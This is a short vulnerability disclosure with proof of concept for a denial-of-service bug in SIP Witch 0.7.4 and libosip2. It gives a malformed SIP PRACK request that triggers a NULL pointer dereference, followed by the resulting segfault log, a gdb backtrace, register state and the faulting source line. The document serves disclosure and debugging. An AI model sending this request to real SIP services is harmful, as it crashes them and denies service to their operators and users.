#################################### # SIP Witch 0.7.4 w/libosip2-4.0.0 # #################################### # # Authors: # # 22733db72ab3ed94b5f8a1ffcde850251fe6f466 # c8e74ebd8392fda4788179f9a02bb49337638e7b # AKAT-1 # ####################################### * DoS by the NULL pointer derefence in libosip2. True, found in the ancient version of sipwitch (default in BT5) but the problem lies in the library used by it and may affect other software. Found independently of http://lists.gnu.org/archive/html/linphone-developers/2012-07/msg00019.html POC (request): -- cut -- PRACK sip:1@127.0.0.1:5060;transport=udp SIP/2.0 Call-ID: a -- cut -- Results: -- cut -- sipw[25179]: segfault at 8 ip 00007fae01583b20 sp 00007fadfed09d38 error 4 in libosipparser2.so.4.2.0[7fae01571000+25000] Core was generated by `/usr/sbin/sipw -d'. Program terminated with signal 11, Segmentation fault. (gdb) bt #0 0x00007f1d4522bb20 in osip_list_get_first () from /usr/lib/libosipparser2.so.4 #1 0x00007f1d4544a6b7 in __osip_remove_ict_transaction () from /usr/lib/libosip2.so.4 #2 0x00007f1d4544bc15 in osip_transaction_free () from /usr/lib/libosip2.so.4 #3 0x00007f1d4544c0a9 in osip_transaction_init () from /usr/lib/libosip2.so.4 ... (gdb) disas Dump of assembler code for function osip_list_get_first: => 0x00007f2f661c6b20 <+0>: mov (%rdi),%eax ... (gdb) i r rax 0x0 0 ... -- cut -- osipparser2/osip_list.c#221: -- cut -- void * osip_list_get_first (osip_list_t * li, osip_list_iterator_t * iterator) { if (0 >= li->nb_elt) <-- NPD ... -- cut -- EOF